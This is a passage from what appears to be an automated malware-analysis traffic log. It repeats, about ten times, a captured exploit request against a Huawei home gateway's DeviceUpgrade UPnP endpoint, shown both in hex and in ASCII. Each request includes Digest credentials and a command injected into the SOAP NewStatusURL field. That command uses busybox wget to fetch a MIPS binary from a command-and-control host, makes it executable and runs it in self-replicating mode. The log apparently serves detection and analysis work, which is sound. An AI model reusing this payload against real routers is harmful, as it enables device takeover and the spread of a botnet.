* /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 